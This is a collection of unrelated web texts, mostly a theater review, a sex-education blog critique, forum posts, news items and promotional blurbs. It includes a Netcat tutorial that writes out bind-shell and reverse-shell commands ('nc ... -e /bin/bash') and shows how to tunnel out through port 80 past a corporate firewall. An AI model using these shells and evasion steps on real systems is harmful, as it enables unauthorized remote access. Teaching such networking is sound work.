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The show: The world premiere of Mark St. Germain's "Dr. Ruth, All the Way" at Barrington Stage's St. Germain Theater, Pittsfield, Mass.
First impression: A big hand for the little ladies — actress Debra Jo Rupp portraying sex therapist and media personality Dr. Ruth K. Westheimer. But still...
Still what? You just said you liked both actress and Dr. Ruth: I did but I also feel there is something missing in this show, something that could perhaps be worked on as the show is further developed.
Like what?: As much as this solo bio-show tells of a fascinating, powerful and moving life, it didn't answer a fundamental question.
Which is...?: How did Dr. Ruth become Dr. Ruth? Who is the woman beneath the perpetually perky persona? Rupp delicately lets the mask slip from time to time, showing the emotions of a woman determined from childhood to be a resilient survivor. But how she became her greatest creation — as a late-in-life sex educator — is, at best, sketchily presented here.
As it is now, it is a conventionally-told story of an event-filled life. But there isn't that much about sex, which is, after all, what we think about when we hear the name "Dr. Ruth."
Sure, there were plenty of mentions of penis, vagina and Bill Clinton, but the show never goes in much beyond the basic Wikipedia outline of what drew Westheimer to sex education, what sex means to her and why.
Sex, sex, sex. Is that all you're interested in?: No. But, after all, this is the woman's public identity. I do want to know more about her life along the way but I am seeking the connections between her biography and her public persona. So far, those connections are only lightly or obviously made.
So what is the show about?: The premise of the play is that Dr. Ruth, following the death in 1997 of her beloved third husband Fred, is moving out of her memorabilia-crammed Washington Heights apartment. (It's not clear really why she is moving other than her need for change.) As she is packing her life's keepsakes, she tells her story to the audience, who she happily, charmingly welcomes at the show's beginning.
Born Jewish in Germany in 1928, she tells of watching Nazis take her father from their home in 1938 when she was 10. She then tells of her exit out of Germany to Switzerland via international kinder transport — and of never hearing again from her mother and grandmother who were left behind. She talks of her time living in a Kibbutz at 17 in Palestine, of learning to become a teacher in Jerusalem and of becoming a sniper with the Haganah.
She tells of her three marriages, two children and her arrival in the U.S. and her continual desire for higher education. It's not until well into the second act that she talks about how she became involved in sex education and the beginnings of her "Dr. Ruth" persona.
Rupp masters the accent and attitudes we associate with Dr. Ruth and she brings humanity to the exhausting role.
But the script needs major editing, shaping and crafting. There are too many digressions that don't go anywhere, name-dropping that gets a bit much, sentimental flourishes that are cliched (another reading of the inscription on the Statue of Liberty), and a few too many cases of the cutes. Much of it feels like verbatim excerpts from long interview sessions where the subject rambles on and off topic.
But there are ideas, meaning and connections within the fact-filled biography. It just needs some more sessions and some hard analysis.
Who will like it?: Fans of traditional bio-plays. Dr. Ruth fans.
Who won't?: Those wanting more than a traditional bio-play. Those who can only take Dr. Ruth in small doses.
For the kids?: Sex talk is rather limited and nothing any teenager hasn't heard before.
If you liked this play...: You should try St. Germain's "Freud's Last Session." As Dr,. Ruth would say, "Terrific."
Twitter review in 140 characters or less: Eventful life story of famed sex educator gets solo stage bio treatment but show only gets to second base.
Lobby sighting: The 84-year-old Westheimer was in the audience on opening night, looking all aglitter in a sparkling red pantsuit. She looked delighted.
Thoughts on leaving the parking lot: The premiere was presented at Barrington Stage's second theater, the newly named St. Germain Theater. How wonderful it is to name a building after a theater artist — and how rare that is, too. Well, perhaps not at Barrington Stage. It named its new cabaret space after composer and Barrington Stage associate William Finn. And last month, the main stage theater was named the Boyd-Quinson Mainstage, in honor of the 18-year partnership between founding artistic director Julianne Boyd and founding board president Mary Ann Quinson. Bravo to all honorees.
The basics: The production continues through July 21. Running time is two hours and 5 minutes, including one intermission. Tickets are $15 to $49; seniors pay $28 all matinees. Information can be had at http://www.barringtonstageco.org ad 413-236-8888.


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December 6, 2010 § 7 Comments
by ELENA
This is Part 1 in a series of posts about the fail-tastic content on the website of a Grand Rapids MI based abstinence only program called Willing to Wait.
Before writing this post, I dug out my copy of Our Bodies, Ourselves, and perused the chapter on Birth Control. There were pages of information about the history of birth control, cultural or socioeconomic obstacles to obtaining birth control, how pharmaceutical interests might affect health care providers, choosing the birth control method that is right for you, the safety of birth control, and a special segment on the need for services that can provide teens with birth control. And then , after that, the chapter described, in detail, how different birth control methods worked, how to properly use each method, side effects, and what they cost.
Under "Birth Control" on the W2W page was this statement:
Not ready to be a parent yet? Want to avoid a suprise pregnancy? Here are some methods for keeping a pregnancy from happening along with their failure rates, advantages, and disadvantages.
What follows is a table listing different birth control methods. That's it. Since the main message of abstinence-only education is "DON'T DO IT!!!", then why bother actually explaining how birth control works in depth, which might improve the success rate of each method?
"Abstinence" is listed first on the chart, and the 'Advantages" include "no medical or horomonal side effects", "protection from STIs", "free", and "always works". In Our Bodies, Ourselves, disadvantages of "Complete Abstinence*" include the difficulty of maintaining an abstinent relationship, and the high risk of unplanned pregnancy/contracting an STI if an abstinent couple has sex without knowing how to use birth control or barrier methods. One thing that neither W2W or Our Bodies, Ourselves discusses is sexual assault. Abstinence is not "100%" effective, because there still is a risk of a person engaging in sexual acts, either consentually or through force. Is W2W implying that abstinent teens are magically protected from sexual assault, and only the "bad" sexually active teens are sexually assaulted?
Continuing down the chart, one of the "Disadvantages" listed for condoms on the W2W chart was "men usually don't like them".
I have never, ever, ever had a guy complain about using condoms. Guys have either put condoms on without needing to be prompted, or quickly got one out and put it on. A brief questioning of friends on Facebook Chat further supported my theory that Not All Guys Hate Condoms, that guys will in fact use condoms because sex that involves a thin barrier of latex is better than no sex at all, and in the case of one of my best friends, who admitted that a particularly infamous boyfriend disliked condoms, I responded "THAT'S BECAUSE HE'S A DOUCHE".
But, by implying that most men don't like/shouldn't like to use condoms, W2W is discouraging people from using condoms. And even if a couple does successfully wait to become sexually active until after marriage, getting married without a knowledge of birth control methods may mean that a couple has to deal with a pregnancy that they are not emotionally or financially prepared for.
Perhaps the most egregious error in Willing to Wait's chart is the "advantages" column for the morning-after pill. their chart lists "May help to relieve the fear of getting pregnant".
So Plan B's effectiveness is all in your head?
Stating that Plan B can "reduce the chances of an unplanned pregnancy after a contraceptive failure" would have been much more accurate. Then again, accuracy does not seem te be the goal of this chart.
The chart also over-emphasizes negative side effects, without mentioning how common such side effects are, and other factors that can cause side effects. For example, when I had my consultation with a healthcare provider at Planned Parenthood, she told me that I had a greater chance of getting hit by a city bus than having the more severe side affects of my birth control regimen, prividing that I did not smoke. And as a NuvaRing user, I have not experienced blood clots, stroke, heart attack, vaginitis, upper respiratory tract infection, sinusitis, or any noticeable weight gain. The most noticable side effects was a four-week-long period when I started NuvaRing, and increased breast size and breast tenderness, which honestly, isn't an entirely terrible thing. I asked readers to submit some of their experiences with birth control, and the experiences were mostly positive.
J writes that birth control isn't optional for her, because it eliminates menstrual migraines:
I first went on the pill because of menstrual migraines and extremely bad cramps, all of which have gone away thanks to the pill. These problems interfered with my daily life; however, since being on the pill not only have the symptoms disappeared, but the underlying problem has also.
I have occasionally had difficulties with my insurance company, as they tend to see taking the pill as a choice not as necessity. However, due to my menstrual migraines, taking not taking the pill is not really an option…I was lucky enough to have a doctor who provides months of free trials when these circumstances arise.
Willing To Wait's chart does not include Internal Uterine Devices (IUDs). K chose to be fitted for a ParaGuard IUD, because she wanted a long-lasting, cost-effective, non horomonal option:
It took my body about 6-7 months to completely get used to the IUD and my periods DID get heavier (but not too excessively) during that time and became extended by a few days. My pre-IUD periods lasted roughly 3-4 days. Post-IUD, they lasted 7 days with the spotting and heavy flow.
After the initial 6-7 months, my periods have evened out into a cycle of 1-2 days cramping at mid-cycle and then 3-4 days of spotting, 2-4 days of heavy flow, and then 1-2 days of spotting at the end. During the first 6-7 months the cramping was a lot worse for me, especially considering that I barely cramped at all before I got my IUD. It was effectively combated with heat packs and ibuprofen…I consider an investment in at least one heat pack a necessity if one decides on getting an IUD.
K mentioned that the cost of an IUD can be prohibitive, although hers was relatively affordable since she had the procedure done at her university's clinic:
Larger university clinics and Planned Parenthood's seem to be much more on board with providing IUD's though. A great resource for learning more about IUD's and other womens' personal experiences with them is the livejournal community IUD Divas (http://community.livejournal.com/iud_divas)
K also mentioned Michigan's Plan First program, which provides free medical care, and birth control to women 18-44. Plan First does not cover either abortion services or fertility treatments, and in the light of recent elections (Michigan elected a Republican governor*) the program may be in jeopardy.
Overall, Willing To Wait is doing a great disservice to Michigan youth by not giving accurate information about birth control methods, and attempting to scare them out of using birth control instead. Birth control is one of the most commonly precscribed drugs, and many women take it not because they are sexually active, but because birth control can ameliorate severe menstrual side effects.
Why does Willing To Wait fear being honest, and giving out medically accurate information?
*Governor elect Rick Snyder is considered a moderate, but his liutenant governor, Brian Calley is extremely anti-choice.
§ 7 Responses to Profiles In Terrible Sex Education, Part 1: Birth Control
There is a revealing new documentary that sheds light on the true agenda of Abstinence-only programs as well as the Purity Balls and Purity Rings. Apparently the young female filmmaker grew up within the Christian Evangelical circle and saw firsthand the disastrous results of this kind of message.
One review I read said "Daddy I Do" is a "crash course in the shortcomings of Abstinence-Only Sex Education and the current Christian purity culture".
In one of the film's trailers, the religious founder of the purity ring movement talks about how he would not encourage his daughter to use a condom if she was sexually active. Another person speaks of using a condom as a "premeditated sin". It's shocking. Check out the trailer: http://www.youtube.com/watch?v=5X4BO56waGg
Not to mention the fact that their effectiveness rates aren't even correct. (Some are, some aren't.) Of course, I expected them to seriously downplay the effectiveness of condoms and the pill, which they did…but interestingly, they've actually exaggerated the effectiveness of Plan B. They say it's 98% effective. (It's not.) Any ideas as to why?
I thought ab-only folks were all about NFP/FAM, or is it just my RC-educated bias speaking? Seriously, though, it's so disingenuous to leave out awesome methods like IUDs, and even FAM which is very effective if you know how.
Reading about horrible sex ed always really strikes me. I remember one of my first sex ed classes where it was about more than just "bodies change, hair grows, use deodorant". It was middle school in 7th grade. I even remember the table I was at. This was maybe the second day of the "girls only/boys only" section. The teacher had a sorta adorable stuffed sperm plushy. It was smiling in a way that was a bit creepy, even.
The teacher was not our actual teacher but some sort of volunteer from something place or another. Considering how this was in Georgia, most likely she was a part of a church-based community group or something.
But I was sitting there in the same spot where I dissected a frog. This was my science classroom, too, and my science teacher was an awesome lady. She had let me make a cake frosted with an outline of Pangaea for my plate tectonics project. Clearly this was a place of awesome science knowledge. And then this lady who I trusted to give facts about all the girl things I pretty much knew but might not have fully understand comes in. She does some explaining about tampons and pad and all the menstrual cycle stuff. Then she get's into sex.
I'm pretty sure the whole thing was pretty abstinence oriented. I can say this because the women talked about condoms. Yes, they normally protect against pregnancy (but they still fail!) but they do not help with any STDs. Nope- none. See, condoms have little pores in them. The holes are much too small for sperm (this is was the giant sperm plushie was for) but they DO NOT STOP HIV FROM GETTING THROUGH. There was an illustration showing the size of this on a molecular level. I remember doing a double-take and staring at the diagram she had up. Because- no. That is not how they work.
This was such a WTF moment that I remember the wrongness 10 years later. But, I don't think all of my classmates remember it like that. Hell, many of them probably took that to heart. Because a person in a position of authority told them this. This was a fact like fractions and correct spellings. Would a teacher lie about how to spell "preposterous" or something?
After that I really didn't trust any of the people in charge of my education. The teachers were all pretty awesome but the administration? Fuck 'em all.
(And then a while later my county was the one that had the "evolution is just a theory" stickers on all science books. At least that was less harmful and more "lol whut" and ended up embarrassing the school system.)

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Judy wrote:Idoit40fans wrote:Yeah I forgot that when I handed someone a 10 to go buy themselves a beer, that I would be basically getting nothing back. I realized this when I was buying 2 at another stand and had now basically spent a total of $27
Is this for 2 beers or 3?!
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EDIT: now I remember, I didn't get any money back, so I payed 17 for 2 and then gave away the 10.
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Geoff Tate Announces New Solo Album, Queensryche Anniversary Tour
Now fans can pick a Queensryche, any Queensryche they like. The summer split of the longtime rock band has left singer Geoff Tate touring as the "Voice of Queensryche," and the rest of the band touring as Queensryche. Paul Rodgers and Bad Company even find the arrangement confusing.
In June, Tate told Rolling Stone he had no interest in competing with his old bandmates while the legal proceedings to determine who can use the band's name get sorted out. However he announced late Thursday night that he would be doing just that:
"Watch for the announcement of the upcoming 2013 Queensryche Anniversary Tour featuring an All-Star lineup, starring Geoff Tate, the longtime creative and driving force behind the band, whose vocals can be heard on every Queensryche song ever released," a post on his Facebook page reads.
In addition he'll be releasing a new solo album this fall, and touring with Alice Cooper in November. His former bandmates — Scott Rockenfield, Michael Wilton, Parker Lundgren and Eddie jackson — have also moved forward, with new lead singer Todd La Torre. They'll headline the South Texas Rock Fest on Oct. 13.
Tate was fired from the band he'd been a part of for over 30 years in June over what Rockenfield called creative differences. There was also a physical altercation earlier in the year, and numerous business issues that Tate spelled out in his interview with Rolling Stone.


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HOUSTON (AP) — A prosecutor says a Houston woman accused of stabbing her boyfriend to death with her stiletto heel had been drinking tequila with him at a nightclub earlier.
The Houston Chronicle (http://bit.ly/18tdGKL ) reports a judge decided Tuesday there was probable cause to hold 44-year-old Ana Lilia Trujillo (troo-HEE'-yoh) on a felony murder charge. She is jailed in Harris County on $100,000 bond.
Fifty-nine-year-old Alf Stefan Andersson was fatally stabbed Sunday at his condominium.
Prosecutor John Jordan told the judge the victim became angry at the nightclub after a man tried to buy Trujillo a drink. The defendant's statement says the victim became abusive at the condo.
Trujillo's attorney, Lott J. Brooks III, says Trujillo is emotionally drained and that he would have further comment once he can talk to her more.
Information from: Houston Chronicle, http://www.houstonchronicle.com


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A number of Lewiston volunteers recently gathered at Susan Geissler's art studio in Youngstown to inspect the larger-than-life-size clay models of the Tuscarora Heroes Monument. This was the last chance they had to examine the details before the models were shipped to Colorado to begin a three-month bronzing process.
The finished pieces will be delivered this August and installed. The dedication and unveiling will take place Dec. 19, the 200th anniversary of the British attack on Lewiston during the War of 1812.
The Tuscaroras were outnumbered 30-to-1 by the enemy, but were able to delay the attack long enough to enable dozens of Lewiston citizens to escape down Ridge Road. About a dozen Lewiston citizens were killed during the attack.
Attending the preview, pictured, from left: Francene Patterson and Neil Patterson Sr., from the Tuscarora Nation; Jon MacSwan, weaponry consultant; Bruce Sutherland, president of the Historical Association of Lewiston; and volunteers Tim Henderson, Brian Beebe, Tim Tutko, Skip Hauth, and Bob and Anne Welch. Lee Simonson, volunteer project director, and Geissler, the monument artist, are kneeling in front.
This project received the unanimous endorsement of the Greenway Commission and is the largest 1812 Bicentennial monument project in the U.S. The Associated Press recently published a story about the monument, which has appeared in newspapers from coast to coast, including the Wall Street Journal.


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The world of netcat:
The name Netcat comes from one of the basic Unix commands cat. cat "concatenates files and prints on standard output", Netcat basically does the same. Instead of concatenating files, Netcat concatenates the TCP and UDP sockets, making it basically a "cat of ports". Just like its ancestors, the fundamental commands of the Unix environment, Netcat does this one thing and does it perfectly. You can glue it to other commands to make it do whatever you want.
This tutorial examines the basic usage of Netcat, including one or two tricks that will make your life easier.
What can I use Netcat for?
As a basic point of view, Netcat is a telnet program. But that's like calling the Swiss Army Knife just a knife.You can easily find a version of Netcat for your flavor of Unix or even Windows. There are also some variants, such as cryptcat which adds vital encryption features.
This article sticks to the vanilla Netcat. The examples are prepared with Unix in mind. You can try them on other platforms, but your computer could blowup, your significant other might leave you, and, even worse, you will run out of coffee at once. Well, maybe just the latter.
Preparing Network Interfaces
To try Netcat, we must first make some preparations. Throughout this article we will discuss a connection between two machines. For this article you don't need to have two machines, two computers, or even two network interfaces.
For TCP/IP communication, the Unix platform uses a virtual loopback (lo) interface with a default IP of 127.0.0.1. Under Linux, you can use 0 instead of this IP address. We will use this interface to set up two virtual interfaces.
Note that if we interfere with the 127.0.0.1 interface, we may break the network connection. Instead, we will use lo:1 and lo:2 virtual interfaces. The following method will allow you to assign many IP numbers to the same network interface, such as eth0:0 or eth0:1. As root, enter:
% ifconfig lo:1 10.0.1.1
% ifconfig lo:2 10.0.1.2
Now enter ifconfig to examine your interfaces:
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:146 errors:0 dropped:0 overruns:0 frame:0
TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7708 (7.5 KiB) TX bytes:7708 (7.5 KiB)
lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
lo:2 Link encap:Local Loopback
inet addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
Now that we have two network interfaces, we can continue with our examples as if we were working on two separate computers with different IP addresses.
Network Connection:
As I've stated before, Netcat is a telnet client. With the basic usage you can connect to any port with nc host port. When you make a connection this way, everything you type goes to the remote machine (if it's listening to that port) and every response comes back to you. This goes on until the network connection is broken. As for the remote computer, I must remind you that Netcat is both a client and a server.
Now, let's open two consoles. One will be our server, listening to port 5600:
$ nc -l -p 5600
The other will be our client that connects to that port.
$ nc 10.0.1.1 5600
Now everything you do will be repeated at the first console. We have made our first connection. Experiment to your heart's content. Press Enter, Backspace, Ctrl-D, and Ctrl-C and see what happens. Ctrl-C should have cut your connection.
At the first console give the command:
$ nc -l -p 5600 -vv
In the second:
$ nc 10.0.1.1 5600
Did you see anything different?
listening on [any] 5600 ...
10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33354
This time, Netcat was generous with its information. The extra -vv command option put Netcat in verbose mode. If you use one v then you end up with less information. This command is especially valuable when troubleshooting. At the end, when you pressed Ctrl-c, Netcat exited, reporting how many bytes were sent and received.
As in our first example we made connection between two virtual computers without protocol or rights management (as far as the firewalls let us).
File Transfer
One of the most practical usages of this network connection is the file transfer. As a basic Netcat function, this feature may be used to great effect in the hands of an experienced user. For a freshly installed computer, setting up a ftp server or, worse, meddling with rcp or scp protocols may be nauseating. Those commands may not be available for one, and multiple layers of control mechanisms may interfere with their functionality. You can still transfer files with just one nc command.
At the server console:
$ nc -v -w 30 -p 5600 l- > filename.back
and on the client side:
$ nc -v -w 2 10.0.1.1 5600 < filename
Magically, the file named filename is transfered from the client to the server. You can check that they are identical.
The command line uses the new argument -w to cause Netcat to wait for a few seconds. We made that longer in the server side because it is most affected by a pause. Another important point is the > and < redirection commands, with which Unix users are very familiar.
In the server we said > filename.back. Any output will be directed to this file. As it happens, the output is the file filename which is send by the client. Think of this as a pipeline. We take a bucket (file), pour the contents to the pipeline (Netcat's port), and, at the other end we fill another bucket from the pipeline.
We can now transfer files, but maybe we want to make something more useful. For example, we might want to login to a remote machine and do some work. We want to telnet without the hassle of working through access control mechanisms. The -e option comes in handy.
On the first console, enter:
$ nc -l -p 5600 -e /bin/bash
and at the second console:
$ nc 10.0.1.1. 5600
Now it is as if we are connected to the first machine and typing at the shell. We can see every output of our command and do whatever we want with the server machine. We are connected to it as the root user. This is admittedly very scary and a bit unwise.
Security Notice and Cryptcat
Dumping output to a shell is the fastest method of remote control. It opens a port and waits for connection. Whoever connects is welcome, with no security checks. Unlike the following Reverse Telnet this is an active connection; we can call it duck-tape telnet. If you must setup such a thing on an Internet-connected machine use Cryptcat. In fact you can use Cryptcat in every example mentioned here instead of Netcat, because they are almost the same (except that Cryptcat uses encryption and a keyphrase). But all the command notation is the same.
Small notice: I love Open Source! As the author of Cryptcat states:
Linux version -- why I like Linux... only had to change two lines of code to add encryption.
Thus if you want more security (which you should), use cryptcat with the -k option. Cryptcat's encryption scheme has an embedded keyphrase of metallica. You can (and should) change this with the option -k, using your own keyword. After that, you not only have an easy telnet setup, but you also will be very secure.
Reverse Telnet
As we have such a generic tool, capable of many things, we can try something nastier (and thus more useful). Consider a nice computer, with broadband network access, behind some firewall (as all useful computers are) in our office. The firewall will not allow any outside connections, only those queried from inside. This computer seems impossible to reach. To begin with, the computer would not have a real IP that we could just type and reach; it is behind a router and firewall, using their IPs instead.
Now what if we want to log into this computer and use it remotely, perhaps grabbing some files we forgot to bring home to work on tonight? We want all this with minimum security breach. Sounds like a challenge.
As we saw before, telnet worked with one machine waiting for a connection and the other connecting to it and giving commands. Telnet will not do the job here; not only are all ports of the corporate firewall blocked, the machine we want to reach does not even have a legal IP. Our technique should do just the reverse.
We have a server whose only allowed outside connection is port 80 for daily use, but it doesn't have an outside IP address. The other computer at home probably has a real IP and whatever ports you want are open at your request. Reversing the roles would solve our problems: make our computer at work connect to the home computer, taking commands from the client and performing them on the server. It's the reverse of usual telnet, so we call it Reverse Telnet.
First, let's name the machines. The one at work is called WORK and the one at home is called HOME. If we do not have a permanent IP at home (a dialup user usually) we should get a dynamic DNS name. Lots of organizations provide them, most at no charge such as dyndns.org. We do this because in order to connect to home computer we must know its IP (or domain name) beforehand.
At the work computer, we'll set up a cron job to start at 22:01. Just as in the telnet example it connects to myhome.dyndns.org (our dynamic DNS address) and starts bash.
And at home just at 22:00 or so we start:
$ nc -vv -l -p 80
to begin listening on port 80 for incoming connections.
At 22:01, WORK connects to HOME, starts bash and says 'Master!' Bingo. We are connected to WORK (or vice versa), and WORK is ready to operate any command we want.
We can try this at our virtual network (lo:1 and lo:2). To start the client listening for a connection:
$ nc -vv -l -p 80
To make a connection from the server:
$ nc 10.0.1.1 80 -e /bin/bash
It is very simple and efficient, because we only use outgoing port 80, the most widely used port because it is used for web access. No one would block port 80 because everyone needs web access. They can force you to use a local proxy for that, but you can use another port like 21 or 23 which are harder to put behind a proxy. If you have Internet access you should be able to find at least one open port.
Netcat has lots of other uses with which you can experiment through the loopback interface setup. As long as you know the TCP/IP machine and basics of the protocols, there is virtually no limit to what you can do with Netcat and that includes getting into trouble so remember to only apply these things to your own system or systems where you have written permission.


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This is excellent: "The Power of 'I Don't Know'" by Tim Kreider:
Since I am not and never will be anyone who knows enough about anything to be worth listening to on the basis of my expertise, my only possible claim to anyone's attention is honesty. Unalloyed honesty is the iridium of the information economy — vanishingly rare, and therefore precious. We don't respect people like Louis C.K. or George Saunders because of their credentials; it's because they're among the few people in public life who'll say anything obviously true — or, at the very least, anything they really mean. We trust that, unlike politicians or their spin doctors, corporate flacks, think-tank flunkies or cable propagandists, they have no agenda beyond the self-evident one of making a living with their work. I have no pretensions to any special knowledge, let alone anything like wisdom; I am just some guy, a PERSON IN WORLD looking around and noticing things and saying what I think. If what I say doesn't reflect your own experience, it's possible that it isn't about you. It's also possible that something that's not About You might still be of some interest or use. There is even some remote possibility that I am oversimplifying, missing something obvious, or just speaking ex rectum.
I've lately been rereading Montaigne, generally considered the first essayist, inspired by Sarah Bakewell's literary biography "How to Live." Ms. Bakewell singles out the end of one passage in which Montaigne suggests that being self-aware of your own silliness and vanity at least puts you one up on those who aren't, then shrugs, "But I don't know." It's that implicit I don't know at the heart of Montaigne's essays — his frankness about being a foolish, flawed and biased human being — that she thinks has endeared him to centuries of readers and exasperated more plodding, systematic philosophers.
My least favorite parts of my own writing, the ones that make me cringe to reread, are the parts where I catch myself trying to smush the unwieldy mess of real life into some neatly-shaped conclusion, the sort of thesis statement you were obliged to tack on to essays in high school or the Joycean epiphanies that are de rigueur in apprentice fiction — whenever, in other words, I try to sound like I know what I'm talking about. Real life, in my experience, is not rife with epiphanies, let alone lessons; what little we learn tends to come exactly too late, gets contradicted by the next blunder, or is immediately forgotten and has to be learned all over again. More and more, the only things that seem to me worth writing about are the ones I don't understand. Sometimes the most honest and helpful thing a writer can do is to acknowledge that some problems are insoluble, that life is hard and there aren't going to be any answers, that he's just as screwed-up and clueless as the rest of us. Or I don't know, maybe it's just me.


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Brooks Long
While the Baltimore music scene may just now be recognizing the talent of Brooks Long '08, the man who "writes his own soul," Washington College has long known about this talented artist. He and his band return to campus for Brooks's fifth year reunion during this year's Alumni Weekend.
Brooks was born in Baltimore, MD, and music allowed him to channel the "deep thoughts" that life in a house on the tough streets of the city inspired in him. He started off performing as part of various gospel choirs, including one that found him backing Shania Twain on stage, before expanding his repertoire to include guitar and songwriting.
Now, he is part soul shouter and part poet, melding the traditions of vintage R&B and Blues with the aesthetics of classic singer/songwriters to bring the old school into the 21st century through a style all his own. Whether by himself or with his backing band, Mad Dog No Good, he brings to his live shows the kind of passion, energy and humor rare in today's music scene. He released a solo album, "The Songster," in fall 2011, and Mad Dog No Good's EP "Let's Make Out To Otis Redding" came out in June of 2012.
The music scene took notice; Brooks was recognized as one of DC/Baltimore's "Best Emerging Artists" by The Deli Magazine, and has headlined at the premier Baltimore stage, Rams Head Live. He has also shared the stage with such varied acts as Ben Lee, The Dan Band, Elizabeth and The Catapult, 2-time Grammy Nominee Karter Jaymes and Femi the Dri Fish.


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In the last blog post, we saw that in New York, TV viewing rose in the afternoon hours, and then fell as power was lost throughout the region. I'd like to look a bit at other markets; did a similar bump and fall in viewing occur? And did viewing go back to normal after the storm hit? We also saw that affiliates' share rose during the storm. Did that happen across markets? And did the share go back after the storm?
For those short of attention span (or time), the answer is that across the markets we looked at, including Washington, D.C., Philadelphia, NY, and Boston, there was a consistent pattern of higher viewership during the day Sandy hit that then fell back to normal after the storm. Only New York, which was heavily hit by power outages, had a large drop in Prime viewing during the storm. All the markets had a jump in affiliate share across the day of the storm, which then fell back the week after.
Local news is clearly a place where viewers go to seek information. In addition, viewers quadrupled their ordering of movies On Demand, and all On Demand viewing increased by 60% on average across the markets. People watched what they wanted to. Bottom line, TV is still a connecting, powerful medium – though not as strong as Mother Nature! And only Rentrak, with our "big data" approach, can provide these insights.
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The chart below shows Homes Using Television (HUT) in the New York market by hour for the Monday before the storm, October 22, the day of the storm, Monday, October 29, and for Monday, November 5, the week after the storm hit. These projections are based on the approximately 90,000 homes Rentrak has in the market. (Note that our HUTs are higher than the traditional metric because we do not filter out duplicate viewing (when a home views more than one program.) We will count that home twice in our HUT.) What you can clearly see is an increase in HUT on the 29th in the daytime hours versus the 22nd, when many more people were at home… and then the storm hit, power was lost in many areas, and viewership never grew to what is normally seen in Prime. By the week after the storm, viewership patterns came back to normal. Prime Time viewing was a bit lower on November 5 than on October 22, where the last Presidential debate brought in more viewers.
This pattern, without the sharp loss of viewership in Prime due to power issues, was reflected in Washington, D.C. (with more than 50,000 homes in the Rentrak footprint), Philadelphia (with more than 30,000 Rentrak homes), and Boston (wih more than 20,000 Rentrak homes). Of the three, Philadelphia had the greatest drop in Prime, though slight compared to New York.
What is also interesting is the share of viewing that major affiliates had across all markets. Their viewing picked up during the day, and held fairly steady, even as the storm raged. Numbers came back to normal across all markets the week after the storm. All the markets had a "bump" in Prime share for the affiliates during the Presidential debate on October 22.
In terms of Video On Demand, as the table below shows, comparing the number of transactions during the storm to the Monday before the storm, there was a huge spike in viewing across all markets, with the biggest increase, by a factor of more than 400% in paid transactions for movies. Viewing for pay cable On Demand transactions went up by more than 50%, as did viewing for free TV programs. The numbers may even be understated in NY because Time Warner lost reporting information from one of their data warehouses.
And by the week after the storm, on November 5, VOD viewership fell back, much closer to the levels of the Monday before the storm.
So what we saw from the first with the storm in one market holds true across several markets. TV usage was up, local station viewership was up, and VOD transactions were up. And might I say, only Rentrak, with tens of thousands of homes in these markets, and millions across the country, along with a census view of On Demand transactions, can give its clients this sort of robust learning.
In case you don't know, I am Bruce Goerlich, Chief Research Officer at Rentrak, the global standard in movie measurement and your TV Everywhere measurement and research company. I have been in the research end of the marketing business for more than 30 years primarily on the ad agency side, with my last stint prior to Rentrak in the role of President, Strategic Resources Zenith Optimedia North America. Somewhere along the way I morphed from young Turk to old fogey. Now that I have grey hair and am horizontally-challenged, I can speak with some authority on advertising and research issues – which I will do from time-to-time on this blog.


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The four-level annex will house county Human Services and include a garage on the bottom.
Commissioners Bill McCarrier and Dale Pinkerton supported the move while Commissioner Jim Eckstein dissented.
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Check with Ralph for a hydro unit. He is a good source for used Cub parts. He is just across the ohio River in Florence Ky. http://www.ralphscubs.com
That's good to know! Do you guys ever go to any shows? I plan on the Corn Festival in my hometown of Wilmington and hopefully a few more.
I have the Barnyard Bash Cubfest every May and Bigdog has the Cub Tug every July. Those are two of the closest Cub events to you and would be excellent events for you to attend to learn a lot about Cubs.
Check out these two web sites http://www.barnyardbash.com and http://www.cubtug.com


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From being attack by wild dogs, to playing a prank at a mob owned business that got one of the patriarchs to laugh, to stealing a dump truck, to collecting money for a guy named Dino then working for the Department of Corrections one month later, to getting in trouble in high school for 'he's looking at me.' to being falsely accused of being a stalker, to pranks and s&M sessions I did while dressed as a Catholic Preist, To late night races in excess of 100 miles an hour, to playing pranks with a fake uzi or a minigun as a young adult, to being falsely arrested for stealing my own car, to saving the Campus Christian Center from burning down on Halloween...twice; there are several stories from my past people don't quite believe.
Foxy, I find it fascinating that you are an atheist but also believe in ghosts. You see, if I actually saw or experienced something that somehow convinced me, beyond a doubt that ghosts were real, well, that would rock my foundation/philosophy/belief structure so much, I don't know where I would end up. It would open up the possibility that gods/demons/unicorns/leprechauns/sprites/or what have you also could exist.My atheism is very much based on science, materialism, and nature. Ghosts simply are not part of that equation. I do not see how ghosts can exist as they would imply some sort of non-corporeal existence of human consciousness. How is consciousness possible outside of our brain from which we know all awareness and "self-hood" flows?Thanks for posting your ideas ...


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Renowned chef, television personality, magazine editor and cookbook author Sara Moulton brings her signature warmth and informative style back to public television in her new series, SARA'S WEEKNIGHT MEALS. Based on her book, Sara's Secrets for Weeknight Meals, Sara and her celebrity chef friends share their ideas for flavorful, healthy meals with minimal fuss. Twenty fast paced and engaging episodes feature quick, delicious and routine breaking entrees designed to inspire and empower home cooks. Episodes include: "Breakfast for Dinner," "Soup for Supper" and "The Substantial Sandwich."


